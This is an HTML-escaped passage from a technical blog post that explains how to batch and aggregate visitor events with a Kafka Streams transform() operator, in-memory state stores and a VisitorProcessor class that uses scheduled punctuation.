aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Implementation&lt;/h4&gt; &lt;p&gt;The &lt;code class=&quot;language-text&quot;&gt;Transformer&lt;/code&gt; interface having access to a key-value store and being able to schedule tasks at fixed intervals meant we could implement our desired batching strategy. Below is the code snippet using the &lt;code class=&quot;language-text&quot;&gt;transform()&lt;/code&gt; operator.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2020/10/kafka-streams-topology.png&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt; &lt;b&gt;Kafka Streams topology generated using &lt;a href =&quot;https://zz85.github.io/kafka-streams-viz/&quot;&gt;kafka-streams-viz &lt;/a&gt;&lt;/b&gt;&lt;br&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token class-name&quot;&gt;StreamsBuilder&lt;/span&gt; streamsBuilder &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;StreamsBuilder&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; streamsBuilder&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;addStateStore&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Stores&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;keyValueStoreBuilder&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Stores&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;inMemoryKeyValueStore&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;AGGREGATE_KV_STORE_ID&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Serdes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Integer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; visitorAggregatedSerde &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;withLoggingDisabled&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;withCachingDisabled&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; streamsBuilder&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;addStateStore&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Stores&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;keyValueStoreBuilder&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Stores&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;inMemoryKeyValueStore&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;COUNT_KV_STORE_ID&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Serdes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Integer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Serdes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Integer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;withLoggingDisabled&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;withCachingDisabled&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; streamsBuilder &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;stream&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;KAFKA_TOPIC&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Consumed&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Serdes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; visitorSerde&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;k&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; v&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt; v &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;mapValues&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;VisitorAggregated&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;VisitorProcessor&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;AGGREGATE_THRESHOLD&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; AGGREGATE_DURATION&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; AGGREGATE_KV_STORE_ID&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; COUNT_KV_STORE_ID&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;foreach&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;k&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; v&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;writeToSink&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;k&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; v&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;KafkaStreams&lt;/span&gt; kafkaStreams &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;KafkaStreams&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;streamsBuilder&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; streamsConfig&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Runtime&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getRuntime&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;addShutdownHook&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;kafkaStreams&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; kafkaStreams&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;ol&gt; &lt;li&gt;We are using In-memory key-value stores for storing aggregation results and have turned off changelog topic-based backup of the state store. We can do so as the aggregation results don&apos;t have to be persisted after they have been forwarded. In case updates to the key-value store have to be persisted, enabling disk &lt;code class=&quot;language-text&quot;&gt;caching()&lt;/code&gt; and changelog topic &lt;code class=&quot;language-text&quot;&gt;logging()&lt;/code&gt; is recommended.&lt;/li&gt; &lt;li&gt;In the &lt;code class=&quot;language-text&quot;&gt;transform&lt;/code&gt; Processor, we have attached the state stores &lt;code class=&quot;language-text&quot;&gt;AGGREGATE_KV_STORE_ID&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;COUNT_KV_STORE_ID&lt;/code&gt;, and supply an instance of &lt;code class=&quot;language-text&quot;&gt;VisitorProcessor&lt;/code&gt; class, which implements the &lt;code class=&quot;language-text&quot;&gt;Transformer&lt;/code&gt; interface.&lt;code class=&quot;language-text&quot;&gt;AGGREGATE_THRESHOLD&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;AGGREGATE_DURATION&lt;/code&gt; specify the batching configuration parameters.&lt;/li&gt; &lt;li&gt;A background thread listens for the termination signal and ensures a graceful shutdown for the Kafka streams application via &lt;code class=&quot;language-text&quot;&gt;close()&lt;/code&gt;.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;VisitorProcessor&lt;/code&gt; implements the &lt;code class=&quot;language-text&quot;&gt;init()&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;transform()&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;punctuate()&lt;/code&gt; methods of the &lt;code class=&quot;language-text&quot;&gt;Transformer&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;Punctuator&lt;/code&gt; interface.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;VisitorProcessor&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;implements&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Transformer&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;VisitorAggregated&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Punctuator&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Duration&lt;/span&gt; interval&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ProcessorContext&lt;/span&gt; ctx&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;KeyValueStore&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Integer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;VisitorAggregated&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; aggregateStore&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;KeyValueStore&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Integer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Integer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; countStore&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Integer&lt;/span&gt; threshold&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;VisitorProcessor&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Integer&lt;/span&gt; threshold&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Duration&lt;/span&gt; interval&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;threshold &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; threshold&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;interval &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; interval&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token annotation punctuation&quot;&gt;@Override&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;init&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;ProcessorContext&lt;/span&gt; context&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ctx &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; context&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;aggregateStore &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;KeyValueStore&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; context&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getStateStore&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;AGGREGATE_KV_STORE_ID&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;countStore &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;KeyValueStore&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; context&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getStateStore&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;COUNT_KV_STORE_ID&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ctx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;schedule&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;interval&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;PunctuationType&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;WALL_CLOCK_TIME&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;punctuate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token annotation punctuation&quot;&gt;@Override&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;KeyValue&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;VisitorAggregated&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;String&lt;/span&gt; key&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;VisitorAggregated&lt;/span&gt; visitor&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;KeyValue&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;VisitorAggregated&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; toForward &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Integer&lt;/span&gt; stateStoreKey &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; visitor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getCustomerId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; countStore&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;putIfAbsent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stateStoreKey&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; aggregateStore&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;putIfAbsent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stateStoreKey&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;VisitorAggregated&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;visitor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getCustomerId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Integer&lt;/span&gt; aggregateCount &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; countStore&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stateStoreKey&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;VisitorAggregated&lt;/span&gt; visitorAggregated &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; visitor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;merge&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;aggregateStore&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stateStoreKey&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token 